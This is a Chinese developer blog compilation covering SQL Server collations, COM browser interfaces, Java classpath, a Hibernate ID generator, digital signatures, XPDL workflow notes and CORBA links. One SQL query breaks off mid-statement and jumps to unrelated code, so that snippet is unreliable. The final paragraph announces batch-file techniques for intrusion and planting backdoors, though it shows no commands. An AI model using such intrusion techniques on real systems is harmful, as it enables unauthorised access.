　　这个错误是因为排序规则不一致造成的，我们做个测试，比如：
create table #t1(
name varchar(20) collate Albanian_CI_AI_WS,
value int)

create table #t2(
name varchar(20) collate Chinese_PRC_CI_AI_WS,
value int )

表建好后，执行连接查询：

select * from #t1 A inner join #t2 B on A.name=B.name

这样，错误就出现了：

服务器: 消息 446，级别 16，状态 9，行 1
无法解决 equal to 操作的排序规则冲突。
　　要排除这个错误，最简单方法是，表连接时指定它的排序规则，这样错误就
不再出现了。语句这样写：

select *
from #t1 A inner join #t2 B
on A.name=B.name collate Chinese_PRC_CI_AI_WS

二.排序规则简介：

什么叫排序规则呢？MS是这样描述的："在 Microsoft SQL Server 2000 中，
字符串的物理存储由排序规则控制。排序规则指定表示每个字符的位模式以及存
储和比较字符所使用的规则。"
　　在查询分析器内执行下面语句，可以得到SQL　SERVER支持的所有排序规则。

　　　　select * from ::fn_helpcollations()

排序规则名称由两部份构成，前半部份是指本排序规则所支持的字符集。
如：
　　Chinese_PRC_CS_AI_WS
前半部份：指UNICODE字符集，Chinese_PRC_指针对大陆简体字UNICODE的排序规则。
排序规则的后半部份即后缀 含义：
　　_BIN 二进制排序
　　_CI(CS) 是否区分大小写，CI不区分，CS区分
　　_AI(AS) 是否区分重音，AI不区分，AS区分　　　
　　_KI(KS) 是否区分假名类型,KI不区分，KS区分　
_WI(WS) 是否区分宽度 WI不区分，WS区分　

区分大小写:如果想让比较将大写字母和小写字母视为不等，请选择该选项。
区分重音:如果想让比较将重音和非重音字母视为不等，请选择该选项。如果选择该选项，
比较还将重音不同的字母视为不等。
区分假名:如果想让比较将片假名和平假名日语音节视为不等，请选择该选项。
区分宽度:如果想让比较将半角字符和全角字符视为不等，请选择该选项

三.排序规则的应用：
　　SQL SERVER提供了大量的WINDOWS和SQLSERVER专用的排序规则，但它的应用往往
被开发人员所忽略。其实它在实践中大有用处。

　　例1:让表NAME列的内容按拼音排序：

create table #t(id int,name varchar(20))
insert #t select 1,'中'
union all select 2,'国'
union all select 3,'人'
union all select 4,'阿'

select * from #t order by name collate Chinese_PRC_CS_AS_KS_WS
drop table #t
/*结果：
id name
----------- --------------------
4 阿
2 国
3 人
1 中
*/

　　例2：让表NAME列的内容按姓氏笔划排序：

create table #t(id int,name varchar(20))

insert #t select 1,'三'
union all select 2,'乙'
union all select 3,'二'
union all select 4,'一'
union all select 5,'十'
select * from #t order by name collate Chinese_PRC_Stroke_CS_AS_KS_WS
drop table #t
/*结果：
id name
----------- --------------------
4 一
2 乙
3 二
5 十
1 三
*/

四.在实践中排序规则应用的扩展
　　SQL SERVER汉字排序规则可以按拼音、笔划等排序，那么我们如何利用这种功能
来处理汉字的一些难题呢？我现在举个例子：

　　　　　　　　　　用排序规则的特性计算汉字笔划

　　要计算汉字笔划，我们得先做准备工作，我们知道，WINDOWS多国汉字，UNICODE目前
收录汉字共20902个。简体GBK码汉字UNICODE值从19968开始。
　　首先，我们先用SQLSERVER方法得到所有汉字，不用字典，我们简单利用SQL语句就
可以得到：

select top 20902 code=identity(int,19968,1) into #t from syscolumns a,syscolumns b

再用以下语句，我们就得到所有汉字，它是按UNICODE值排序的：

　　select code,nchar(code) as CNWord from #t

　　然后，我们用SELECT语句，让它按笔划排序。

select code,nchar(code) as CNWord
from #t
order by nchar(code) collate Chinese_PRC_Stroke_CS_AS_KS_WS,code

结果：
code CNWord
----------- ------
19968 一
20008 丨
20022 丶
20031 丿
20032 乀
20033 乁
20057 乙
20058 乚
20059 乛
20101 亅
19969 丁
..........

　 从上面的结果，我们可以清楚的看到，一笔的汉字，code是从19968到20101，从小到大排，但到
了二笔汉字的第一个字“丁”，CODE为19969，就不按顺序而重新开始了。有了这结果，我们就可以轻
松的用SQL语句得到每种笔划汉字归类的第一个或最后一个汉字。
下面用语句得到最后一个汉字：

create table #t1(id int identity,code int,cnword nvarchar(2))

insert #t1(code,cnword)
select code,nchar(code) as CNWord from #t
order by nchar(code) collate Chinese_PRC_Stroke_CS_AS_KS_WS,code

select A.cnword
from #t1 A
left join #t1 B on A.id=B.id-1 and A.code<B.code
where B.code is null
order by A.id

得到36个汉字，每个汉字都是每种笔划数按Chinese_PRC_Stroke_CS_AS_KS_WS排序规则排序后的
最后一个汉字：

亅阝马风龙齐龟齿鸩龀龛龂龆龈龊龍龠龎龐龑龡龢龝齹龣龥齈龞麷鸞麣龖龗齾齉龘

　　上面可以看出：“亅”是所有一笔汉字排序后的最后一个字，“阝”是所有二笔汉字排序后的最后
一个字......等等。
　　但同时也发现，从第33个汉字“龗(33笔)”后面的笔划有些乱，不正确。但没关系，比“龗”笔划
多的只有四个汉字，我们手工加上：齾35笔，齉36笔，靐39笔，龘64笔

建汉字笔划表（TAB_HZBH）：
create table tab_hzbh(id int identity,cnword nchar(1))
--先插入前33个汉字
insert tab_hzbh
select top 33 A.cnword
from #t1 A
left join #t1 B on A.id=B.id-1 and
-----------------

IOleContainer* pContainer;
HRESULT hr = m_pClientSite->GetContainer(&pContainer);
if (FAILED(hr))
    return hr;

IServiceProvider* pServiceProvider;
hr = pContainer->QueryInterface(IID_IServiceProvider,
                                (void**)&pServiceProvider);
pContainer->Release();
if (FAILED(hr))
    return hr;

IWebBrowser2* pWebBrowser;
hr = pServiceProvider->QueryService(SID_SWebBrowserApp,
                           IID_IWebBrowser2,
                           (void**)&pWebBrowser);
pServiceProvider->Release();
if (FAILED(hr))
    return hr;

可以获取了IWebBrowser2接口,但如何读取html元素的值呢?IWebBrowser2接口似乎没有这个功能?

又是千山万水的google:
vckbase:
http://vckbase.net/document/viewdoc/?id=1446
codeguru:
http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/

 


msdn 2003 :
MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame
HOWTO: Retrieve the URL of a Web Page from an ActiveX Control

msdn关于MSHTML的参考也够烂，列出一堆接口方法就不管了。究竟结构如何要自己去研究。总之很是不爽。

这个命令行将告诉java虚拟机的类装载器从D:\hibernate-3.0\eg\org\hibernate\auction处装载Main.class。
如果省略"-classpath D:\hibernate-3.0\eg"，即D:\java org.hibernate.auction.Main 则类装载器将会从系统环境变量CLASSPATH指定的位置寻找符合条件的Main.class。

如果CLASSPATH为.;D:\jdk150\lib\tools.jar;D:\jdk150\jre\lib\rt.jar;D:\hibernate-3.0\eg
则类装载器先查找当前运行目录(.表示当前目录)，此处为D:\，如果D:\下面有D:\org\hibernate\auction\Main.class，则装载这个文件。如果没有，继续在D:\jdk150\lib\tools.jar文件中寻找是否有路径为org\hibernate\auction\Main.class的文件,如果没有则寻找D:\hibernate-3.0\eg\org\hibernate\auction\Main.class。如果在这些路径中都没找到，就会提示一个鸟错误。注意D:\hibernate-3.0\eg只表示将在此路径下寻找D:\hibernate-3.0\eg\org\hibernate\auction\Main.class文件，不会在此路径下的.jar文件中继续寻找。

据说很多开发环境往往不去读系统路径，直接就java -classpath .....，这也就是在外面运行的东东挺溜的进了开发环境就死菜的原因喽。

在和hibernate亲密接触之后,我想按照自己的想法来设计组织机构.对于Organ,Department,Post和Stuff.我希望这样设计主键的ID,类型都是char,格式为:
Organ0000000001
Dept0000000001
Post0000000001
Stuff0000000002

修改middlegen产生的.hbm.xml文件:

......
<class
    name="com.abcdefg.hibernate.Organ"
    table="Organ"
>
    <id
        name="organId"
        type="java.lang.String"
        column="OrganId"
    >
        <generator class="hbtest.PkGenerator">
            <param name="table">PKGenerator_table</param>
            <param name="column">NextOrganId</param>
            <param name="max_lo">0</param>
 </generator>
    </id>
......
</class>

找到的资料说:"如果需要采用定制的主键产生算法，则在此处配置主键生成器，主键生成器必须实现net.sf.hibernate.id.IdentifierGenerator 接口".我找了半天都没找到net.sf.hibernate.id.IdentifierGenerator.其实只要从hibernate自身提供的一些主键生成器继承就可以,从hibernate的源文件可以看到这些主键生成器实现的接口是org.hibernate.id

我的PkGenerator.java文件:
package hbtest;

import org.hibernate.id.TableHiLoGenerator;
import java.io.Serializable;
import java.util.Properties;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.hibernate.HibernateException;
import org.hibernate.dialect.Dialect;
import org.hibernate.engine.SessionImplementor;
import org.hibernate.type.Type;
import org.hibernate.type.IntegerType;
import org.hibernate.util.PropertiesHelper;

public class PkGenerator
    extends TableHiLoGenerator {

  private String columnName;

  public void configure(Type type, Properties params, Dialect d) {
    super.configure(new IntegerType(), params, d);
    this.columnName = PropertiesHelper.getString(COLUMN, params,
                                                 DEFAULT_COLUMN_NAME);
  }

  public synchronized Serializable generate(SessionImplementor session,
                                            Object obj) throws
      HibernateException {
    Object result = super.generate(session, obj);
    String strNumber = result.toString();
    StringBuffer strResult = new StringBuffer("");
    if (columnName.compareToIgnoreCase("NextOrganId") == 0) {
      strResult.append("Organ");
    }
    else if(columnName.compareToIgnoreCase("NextDeptId") == 0){
      strResult.append("Dept");
    }
    ......

    if (strNumber.length() > 10)
      throw new HibernateException("The generated " + strResult +
                                   "Id is too long!");
    else if (strNumber.length() == 10) {
      strResult.append(strNumber);
    }
    else {
        int count = 10 - strNumber.length();
        while (count > 0) {
        strResult.append("0");
        count--;
      }
      strResult.append(strNumber);
    }
    return strResult.toString();
  }
}

实现了以后发现在这些主键前面添加"Organ","Dept"之类的并不是特别有用,而且我开始的出发点还是错的.也许我应该建立更多的映射表...?

Hibernate的初级指南

hibernate贴心的地方：

比如我可以根据RSA的方法找到一对公钥和私钥，然后告诉每个我的朋友或者商业伙伴这个公钥。这样我就可以发送用私钥签名的信息给他们，他们也可以用我的公钥加密信息后发送给我。(这就是数字签名了)

但是我怎么告诉我的朋友或者商业伙伴我的公钥？用internet告诉他们？别忘了上网就像裸奔，别人也可以找到另一对公钥私钥，以你的身份通过Internae把公钥发送给你的朋友(你认为没有这个可能？因为电子邮箱是需要身份认证的？你的密码不可能泄露，电脑上一定没有木马，黑客伪装不了你的电子邮件，更窃听不了你发送的数据包,竞争对手不会窃取你的商业秘密,没有人试图知道你的银行帐号，FBI更不知道你发表了什么言论。恩，那数字证书确实没什么用)。那么一个个打电话告诉他们，或者发送一堆挂号信？这样看起来不大现实。

所以有了数字证书。数字证书就是数字认证机构(CA)颁发给我的签名，由数字认证机构来证明这个证书的有效性。假如有了某个机构的数字证书，我就可以向所有人发送用这个数字证书签名过的信息。信息的接收者只要验证这个认证机构的签名就可以了。

但这样还是不现实，谁会拿着我的电子邮件跑去找厦门数字认证中心或者北京数字认证中心呢？所以这些机构的数字证书上也有更上层的签名，那就是根证书。打开IE-工具-Internet选项-内容-证书.你就可以看到一堆的受信任的根证书和中级证书机构颁发的证书.根证书给中级机构的证书签名,中级机构的证书给我的证书签名.所以只要根证书是可信的.我的证书就是可信的.

通俗一点就是说比如安南公布了自己的签名，声称他是可信的。然后布什去找安南，让安南在他的签名上签名，这样布什的签名就是可信的，然后布什在我的签名上签名。这样我的签名上就有布什的签名，而布什的签名上有安南的签名，这样如果你认识安南的签名，你就知道我的签名大概不是假的。大概就是这样了。

但是也许某一天布什会认为我有搞恐怖的嫌疑，决定把我的签名扔进黑名单。这时如果你收到了一份我签名的文件，说布什有裸奔的习惯，你怎么知道我是否还是可信的呢？布什想了个办法，把他黑名单公布在白宫的墙上，并在他的签名上写下白宫地址。这样你收到我的签名后，因为我的签名里面有布什的签名，布什的签名里面有白宫地址，你就可以去白宫看看我是否上了黑名单榜。

听起来这个方式很好。。可惜找布什在我的签名上签名是要钱的，直接找安南签名要的钱更多。人吃人的社会啊。所以据说有另外一种签名的方式。但目前偶还不清楚。

试验CryptoAPI的失败： 微软提供的Microsoft Cryptographic Service Providers里的The Microsoft Base Cryptographic Provider和The Microsoft Enhanced Cryptographic Provider不支持导入导出密钥对。唯一的收获。寂寥，郁郁，挫败。

目前电子签名签名的实现方式有：
基于PKI(Public Key Infrastructino)的公钥密码技术的数字签名；
以生物特征统计学为基础的识别标识；
手印、声音印记或视网膜扫描的识别；
一个让收件人能识别发件人身份的密码代号、密码或个人识别码PIN；
基于量子力学的计算机...
数字签名的目的和功能:
认证、数据保密性、数据完整性和不可否认性.

数字签名的实现方式:

(一)公钥加密算法如何加密:
比如我要发送一个绝密的信息M给你,我当然不会直接把M写在信里面寄给你,我会提前告诉你解密的方法,然后使用算法P处理M得到P(M),我发送P(M)给你.因为你知道解密的方法P',你使用P'来处理P(M)得到了M.只要P和P'不让别人知道,我们的通讯就是保密的.
如果从P'能够得到P,那你就能知道P,然后伪装我发送消息给其他人.
但是据说有一个公钥加密算法,加密和解密的算法是一样的,而且是公开的,我告诉你我的公钥k1,我自己保密的是私钥k0,我发送给你的信息是M' = P(k0,M),你收到M'后可以通过运算P(k1,M')得到M,但是通过k1是无法计算出k0的,通过K0也无法计算出k1.(我也不知道是否真的这么神奇,现在网络上到处都是RSA被破解之类的,看得菜鸟我心惊胆颤,俺刚要好好学习呢,别人早已经把它颠覆了).

这样你只有解密的份,没有伪装我身份的可能.
同样你也可以用k1来加密发消息给我,我用k0可以将它解密.
但是这种公钥加密算法是把消息本身当成一个大数来进行幂运算,所以比如我想把1000个字节的字符串当成一个大数来加密,应该是非常困难而且非常慢的.(偶想高手应该会算,但那不是俺关心的)
所以有了散列.

(二)关于散列:
最常用的散列机制有 SHA1,MD5,RIPEMD-160等.SHA1即“安全散列算法”。SHA1 可以处理 2**64字节以内的任何消息，并生成一个 20 字节的结果。
按照菜鸟我看来这不是"散列",这是"聚列"啊.把一个2^(64*8)的数映射到一个2(20*8)的数,同志们,这不是聚列是什么?但其实我们一般用的字符串,不会把0~2^(64*8)的数全用光,只用了其中一小部分.所以这个散列似乎是相对安全的.这种问题就留给长了几个脑袋的人来解决吧.

关键是散列算法比公钥加密算法要快很多.

这样,我找到了一对公钥和私钥(k0和k1),我公布了我的散列算法H,发表了一篇长5万个字奇菜无比的论文,内容为M,对M进行散列,很快得到H(M),然后用私钥加密得到S = P(k0,H(M)),把S附在M后面并发表.
你看到后为了证实这篇其烂无比的文章是我写的,可以判断 P(k1,S) 是否等于H(M).如果相等,你就可以确定这其烂无比的文章确实是我写的.
或者确定那个狗屁不通的审批确实是某大人批准的.

(三)除了使用公钥加密算法来实现数字签名,还可以用HMAC来实现:

HMAC即散列后的消息验证代码”(Hashed Messsage Authentication Code)
微软MSDN上这么说:
将共享密钥混合在摘要中，即创建 H(S+M)。您收到消息后，可以使用自己的 S 副本来创建 H'(S+M)。
在使用 HMAC 时，完整性保护的有效性取决于攻击者计算出 S 的能力。因此，S 应该不容易被猜出，并应该经常更改 S。符合以上要求的最好方法之一是使用 Kerberos。在 Kerberos 中，中央机构将在两个实体希望通信时分配包含临时会话密钥的“票”。此会话密钥将用作共享密钥。在要将签名发送给您时，我将得到一张票，以和你通信。我打开票中的属于我的那一部分来获得 S，然后将消息、消息的 HMAC 和票中您的那一部分发送给您。您打开票（使用原来通过 Kerberos 注册的密钥），获取 S 以及有关我身份的信息。您现在可以获得消息 M，生成自己的 H'(S+M)，并查看它们是否匹配。如果匹配，表明您原封不动地收到了我的消息，并且 Kerberos 将通知您我是谁。

Kerberos是古希腊神话里的地域门口的一条三头狗.也是MIT麻省理工大学发明的一种协议.要使用这个协议需要配置一个分发服务器,似乎比较麻烦...

什么是工作流:
工作流管理委员会(WfMC)把工作流定义为：工作流是一类能够完全或部分自动执行的业务过程。根据一系列规则，文档、信息、任务能够在不同的执行者之间传递、执行。完成正个过程所需要的参数有：
过程中每一单独步骤的定义，每一步骤由谁负责，每个活动需要的应用程序。定义一个工作流就是说明了处理过程是什么：由哪些活动、任务组成即流的结构。如何做：活动间的执行条件、规则，所交互的信息即控制流与信息流的定义，谁来做：人还是应用程序即角色定义，做得怎么样：对工作流的执行状态实施监控。(工作流管理与事务服务设计方案)

WfMC提出了一种工作流的参考模型(Workflow Reference Model)：目的就是把工作流分成5个模块,并定义这5个模块之间的接口的规范.这么做的意义是啥呢?应该不归我菜鸟来解释了.

模型包含5个模块：
1.过程定义(Process Definition)
2.特定的工作流系统(Workflow Enactment Service),其中包含一个或多个工作流引擎(Workflow Engine(s)),提供工作流API和交换(Workflow API and Interchange)
3.工作流客户端程序(Workflow Client Application)
4.激发的程序(Invoked Applications)
5.其它工作流系统(Other Workflow Enactment Service)
6.管理和监控工具(Aministration & Monitoring Tools)
其中包含5个接口(Interface)
1.工程定义工具接口(Process Definition Tools Interface)
工作流系统(Workflow Enactment Service)<=>过程定义(Process Definition)
2.客户端程序接口(Workflow Client Application Interface)
工作流系统(Workflow Enactment Service)<=>工作流客户端程序(Workflow Client Application)
3.激发程序接口(Invoked Application Interface)
工作流系统(Workflow Enactment Service)<=>激发的程序(Invoked Applications)
4.工作流系统间协同接口(Workflow Interoperability Interface)
工作流系统(Workflow Enactment Service)<=>其它工作流系统(Other Workflow Enactment Service)
5.管理和监控接口(Administration & Monitoring Tools Interface)
工作流系统(Workflow Enactment Service)<=>管理和监控工具(Aministration & Monitoring Tools)

XPDL：
5.流程定义交换概述(Overview of Process Definition Interchange)
流程定义的作用：
1。产生和控制流程实例的模版
2。仿真和预测
3。监控和分析
4。文档，可视化和知识库管理(?)
可能会包含子流程的定义
一个初始的流程定义最少要包含初始化和执行所需要的对象(objects)和属性(attributes)。流程实例将继承(inherit)这些对象和属性。
WfMC术语表中包含活动(activities), 流向(transitions), 工作流相关数据(workflow relevant data)和参与者(participants)等。
 
5.1流程定义交换的方法(Approaches to Process Definition Interchange)
这里使用XML作为交换的机制。XPDL提供一种交换标准，使用导入导出(import/export)的方法使得任意在内部用不同方式表示流程的系统得以互相交换流程(?)。
有很多不同的方法可以用来在不同系统间交换流程。在这些方法中都必须把流程表示成一致的格式。

6.元模型(Meta-Model)
元模型用以描述一个流程定义的最上层实体(the top-level entities)，实体的关系和属性(这些属性有的只是用以仿真或监控的目的，而不是为了运行(enactment))；它包含了把多个流程组织成流程模型(process models)和多个流程和流程模型间的公共定义数据(common definition data)。
 
6.1实体(Entities)

6.1.1工作流定义(Workflow Process Definition)
提供上下文环境(contextual information)，提供管理信息（如创建日期，作者等）或者用于执行(process execution)的信息（如初始值，执行优先级，期限，需要通知的人，仿真信息(simulation information)等）

6.1.2环节（Workflow Process Activity）
一个流程定义中包含多个环节，环节是流程中逻辑上独立的单元。环节代表使用多种资源处理的工作（参与者的任务）或/和应用程序（应用软件的职能）。其它信息包含是否自动开始/结束，当和其它环节发生资源冲突的时候的优先级。对流程相关数据(workflow relevant data items)的使用也必须指明。一个环节的范围是某个特定的流程。
一个环节可能是一个子流程(subflow)。这种情况下它包含了一个特定流程的执行，这个流程可能在同一个工作流服务器（workflow service）中运行，也可能在其它工作流服务器上运行（通过流程协同接口(process interoperability interface)）。子流程包含它自己的环节，内部流向，资源和应用程序分配(application assignments)，尽管这些可能是从同一个公共资源而来。输入参数和输出参数使得流程相关信息得以被在调用和被调用流程间交换（如果必要可以是返回参数）。
一个环节可能是一个块环节(block activity)。块环节包含一个环节组(activity set,)，或一堆环节和流向，一个环节组中的环节和流向共用内流程(containing process)的名字空间。
最后，一个空环节（dummy activity）不执行任何操作（因此没有相关资源和相关applications），仅用来在入流向(incoming transitions)和/或出流向(outgoing transitions)间进行流转(routing).

6.1.3流向信息.(Transition Information)
环节之间由流程控制条件相关联(流转条件(transition information).)).每个流向包含三个基本属性,源环节,目的环节和流向条件.从一个环节到另一个环节的流向可能是有条件的,也可能是不需要条件的.一个流程里面的多个流向可能产生串行的(sequential)或并行的(parallel)环节.分叉(split)或者合并(join)的相关信息在对应的环节之中,split as a form of “post activity” processing in the from-activity, join as a form of “pre-activity” processing in the to- activity.This approach allows the workflow control processing associated with process instance thread splitting and synchronization to be managed as part of the associated activity, and retains transitions as simple route assignment functions.{开始昏了}一个流向属于包含它和它的相关环节的流程.
其它更复杂的流向,不能用简单的函数来表达的,使用空环节来实现.结合使用基本的流向和空环节,任何复杂的流转结构都可以被实现.因为业内已经有好几种流向控制的途径,在XPDL中也有相应的几类,在本文稍后描述.

6.1.4流程参与者声明(Workflow Participant Declaration)
流程参与者声明描述在流程定义中各个环节的参与者(performer).The particular resources, which can be assigned to perform a specific activity, are specified as an attribute of the
activity, participant assignment, which links the activity to the set of resources (within the workflow participant
declaration) which may be allocated to it.{环节参与者是环节的一个属性...昏了}.流程参与者不一定是单独的个人,也可以是一组有相应资格或责任的人,或者机器的自动操作.元模型包含了一些简单的资源类型,这些类型可能在流程参与者声明中被定义.

6.1.5资源库(Resource Repository)(?)
资源库说明参与者可能是人员,程序,或者机器.在更复杂的情况下,参与者声明可能是一个资源库,它可能是参与人员的一个组织机构模型(Organizational Model).这份文档并没有定义或要求一个资源库.

6.1.6工作流应用程序声明(Workflow Application Declaration)
工作流应用程序声明描述了被工作流服务器调用的,用以支持各个环节的处理的IT应用程序或接口,这些程序和接口被定义为环节的一个属性.这些应用程序可能是行业工具,特定部门或企业的服务,或在工作流管理系统框架下的本地应用程序.工作流应用程序声明反映了工作流引擎和{应用程序或接口}的接口,包含需要传递的参数.

6.1.7工作流相关数据(Workflow Relevant Data)
工作流相关数据定义了在流程执行过程中创建和使用的数据.这些数据在工作流中被环节或者应用程序使用,并可能被用于传递持久的信息或者环节间的中间结果或/和用于判断流向流转或者分配参与者的的中间数据.工作流相关数据是特殊的类型(Workflow relevant data is of particular type.),XPDL定义了各种基本的和复杂的数据类型,(包含日期Date,字符串string,等).环节,被调用的应用程序(invoked applications)和/或流向条件会用到工作流相关数据.

6.1.8系统和环境数据(System and Environmental Data)
系统和环境数据由流程管理系统和本地系统环境管理,但会被工作流环节或工作流管理系统用于计算条件表达式,如同工作流相关数据一样.

6.1.9数据类型和表达式(Data Types and Expressions)
元模型(和相关的XPDL)假设有一些标准数据类型(string,reference,integer,float,date/time等),这些数据类型被用于工作流相关数据,系统和环境数据或参与者数据(participant data).用于条件判断的表达式将由这些数据类型组成.数据类型可以用XML schema或者引用外部资源中定义的类型来扩展.
 
 6.2流程和流程包(Processes and Packages)
从以上内容可知,流程模型包含的很多实体(entities)的范围超出了单个流程定义的范围.可能多个流程定义会引用到相同的流程参与者,工作流应用程序和工作流相关数据.元模型采取了使用公共流程定义库(common process definition repository)来包含这些实体和工作流定义.在这个库本身的范围内,为了提高传送流程定义数据的效率,引入了流程包的概念,流程包包含了一组工作数据实体(common data entities)和许多不同的流程定义,避免了在不同的流程定义中重复定义这些工作数据实体.
流程包包含了流程定义实体的许多公共属性如(作者,版本,状态等),包内的每个流程定义自动继承了所有这些公共属性,除非它们在流程定义中分别被重新指定.
 
在包中的一些实体的定义是全局的,能够被包中的所有流程定义(以及相关的环节和流向)引用,这些实体是:
-流程参与者声明
-工作流应用程序声明
-工作流相关数据
可以在流程包或者流程包包含的对象中使用被引用的外部流程包的最上层实体(The package reference allows the use within the package or its contained objects of references to top-level entities in the referenced external package:).{哈,没昏},这些最上层实体包括:
-子流程的流程ID
-流程参与者声明
-工作流应用程序声明
 
同一个库地址空间(repository address space)中的不同流程包的名称和标识的管理规定由提供商自己定义.{相同库,但不同包的名字空间的划分方法由工作流的开发者自己设计,好像是这意思}.推荐的查找方法是:
-流程id:先在同一个model中寻找(包含任何在不同服务器上运行的流程定义的引用),然后在任何被引用的外部model中查找
-流程参与者声明/工作流应用程序声明 :先在同一个model中查找,再在任何被引用的外部model中查找.
{这里model指的范围可能是流程包,有点像java import一个名字空间进来,怎么找一个类型一样}
 
工作流相关数据的命名在同一个流程包中必须是唯一的,在同一个包中,{在这份文档的当前版本},流程间参数的传递惯例是值传递(copy semantics).流程设计者(管理员)必须在流程定义/流程模型中确保名称和数据类型在调用子流程时的一致(和任何其它远程流程协调工作时的一致).

 6.3流程元模型(Process Meta-Model)
流程元模型定义了用于流程定义交换的一组基础的实体(entities)和属性(attributes)。对于每个流程定义，以下实体必须在流程范围内定义或从流程包中继承，或从其它包中引用：
-环节(Workflow Process Activity)
-流向(Transition Information)
-流程参与者(Workflow Participant Specification)
-工作流应用程序声明(Workflow Application Declaration)
-流程相关数据(Workflow Relevant Data)
这些实体的属性描述了流程的机制，它们将在本文后面被描述。

6.4流程包元模型(Package Meta-Model)
在一个模型定义(model definition.)中，多个流程定义是互相关联的。流程包包含了流程定义和相关的实体，而这些实体能被所有包内的流程使用(所有这些实体只要被定义一次)。流程包元模型包含了以下的实体：
-流程定义(Workflow Process Definition)
-流程参与者(Workflow Participant Specification)
-工作流应用程序声明(Workflow Application Declaration)
-流程相关数据(Workflow Relevant Data)
>

流程包的原模型指出了用于流程模型的交换和保存的实体和属性。它定义了各种不同的继承规则，来关联单独的流程定义和{流程参与者，工作流应用程序声明和工作流相关数据的定义}，这些定义(流程参与者...的定义)可能在单个流程定义中，也可能在流程包中。
流程包定义允许指定一些公共的流程定义属性，这些属性自动被应用于流程包中的每个流程定义。这些属性也可被但个流程所忽略.(如果这些属性在流程定义层被重新定义，那本地的属性值将覆盖全局的)
 
6.4.1流程库(Process Repository)
流程定义导入/导出接口被用于操作工作流管理系统的流程库。实现的方法是从这些流程库中导入导出包含XPDL的文件。这个接口在单独的流程和流程包两个等级上导入导出流程定义数据。
流程库和流程控制功能之间的接口由各个供应商(工作流实现者)自行决定，与本标准无关。但推荐把静态的流程库(for persistent, ongoing storage of process definition data)和动态的流程库(for managing changes to the process execution of extant process instances)区分开来(比如用版本控制)。
WfMC标准不包含流程定义库的具体内部实现结构。流程包的使用只是为了在导入导出过程中重用数据。在简单的流程库结构下(Where a simple process repository structure is used)。对流程定义层上的操作，被导入的流程库的共享信息会被复制到各个单独的流程定义中(并在导出过程中被类似地重新打包)。
 
6.4.1.1重新定义和范围(Redefinition and Scope)
因为有重新定义属性和元模型实体和对外部流程包的引用的可能，所以范围和层次的规则(principles of scope and hierarchy)被引入到了XPDL(和流程库)结构中。
(i)流程相关数据
流程相关数据的范围被直接相关的元模型实体定义并且不能被嵌套。它的标识符的可见性同样由该实体定义。{不知道有没搞错..费解}
(ii)属性
属性和外部属性的范围被直接相关的元模型实体定义并且可以被嵌套，例如可以在下一层被重新定义。例子：名字属性在各个实体定义中被重新定义。外部属性的标识符在特定实体和子实体可见，除非在子实体中重新定义了该标识符。
(iii)流程参与者和应用程序
流程参与者和应用程序的范围和可见性与外部属性相同。所有被(流程参与者和应用程序)使用的流程相关数据和外部属性的范围必须和使用者的范围一样，至少在同一个流程包内。
For a referenced external package entity that needs itself reference to entities and their identifiers defined in its external package clause the mechanism is started with the root in that package. That guarantees that no conflict takes place if the invoking process has an entity with the same id, which the definer of the referenced package cannot be aware of.
外部流程包的使用给流程设计者和管理者以很大的自由。一是可以在分开的模型中分别定义组织机构(参与者实体)和流程定义。另一个是可以添加一个新的流程定义共享原来的流程定义所用的模型而不需要重新提交整个环境信息。
 
6.5实体预览(Elements Overview)
下表展示了XPDL中定义的主要元素(elements)
-第一栏包含所有主要元素的属性。所有主要元素包含的属性有：id，name可能有Description和Extended Attributes。
-第二栏是特殊的属性
-The third group consists of elements that may contain references to other elements.
-Documentation and Icon elements ：被工作流引擎使用的描述信息
-第五栏包含了仿真和优化的信息
以后可能会添加别的元素和预定义属性

6.5.1供应商或用户扩展(Vendor or User specific Extensions)
尽管元模型和XPDL包含了大部分流程定义交换过程中需要的结构。但在特定环境下流程定义可能需要包含更多的信息(供应商或用户的特定信息)。供应商或用户应尽量使用标准的实体和属性。以下将描述扩展信息的标准方法，但这要求流程引擎提供相应的运行时支持。
 
6.5.1.1Extended Attributes
最主要的方法是使用Extended Attributes。Extended Attributes由供应商或用户在必要情况下自行定义，用以表达额外的信息。额外属性的运行时支持分别在两个系统中实现，而且双方要在对额外属性的导入导出上达成一致。
 
6.5.1.2. Extended parameter mapping
关于子流程的参数传递，由供应商自行决定，和WfMC无关

最后:faint...人家已经xpdl2.0了
 
好像n多概念不一样了。2005-10-3的版本，然道我就这么倒霉？
2.0的流程包(Package)里面添加了pools,message flows,associations & artifacts的概念。
 
泳道(Swimlanes)?
池(Pool){环节，流向(Sequence Flow (transitions))} Pool之间通过信息流(Message Flow)联系。白箱黑箱。background pool即默认的pool
 
通道(Lane)，进一步分割pool,属性被其中的环节继承
 
巨faint，人家已经有翻译好的。。1.0版本的，除了几个特殊名称的翻译不习惯外，读起来挺流畅的。
但不能理解的还是不能理解，好像翻译的人也没融会贯通。
就当学英语好了..郁闷。以后失业了可以试试粗浅的翻译。
 
工作流现在咋就这么流行呢？ http://www.cnitblog.com/Files/Raistlin/wfmc-zh.rar

ASAP (Asynchronous Service Access Protocol)
http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=asap
SOAP(http://www.w3.org/TR/soap/)
apache soap(http://ws.apache.org/soap/)

 
GNOME CORBA简介 http://263.aka.org.cn/Lectures/002/Lecture-2.1.9/Lecture-2.1.9/Corba.html
使用JAVA开发CORBA应用 http://www.evget.com/articles/evget_424.html
CORBA 及Java IDL应用编程 http://fanqiang.chinaunix.net/program/java/2001-08-03/2178.shtml
 
以上都已经out了...浪费时间，直接看下面的
Java IDL http://java.sun.com/j2se/1.5.0/docs/guide/idl/index.html
 
Naming Service http://java.sun.com/j2se/1.5.0/docs/guide/idl/jidlNaming.html#using 名字和对象的绑定。。。
ORBD    Transient Naming Service - tnameserv
 
JDK1.5.0 chm 下载 http://www.allimant.org/

如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了

批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

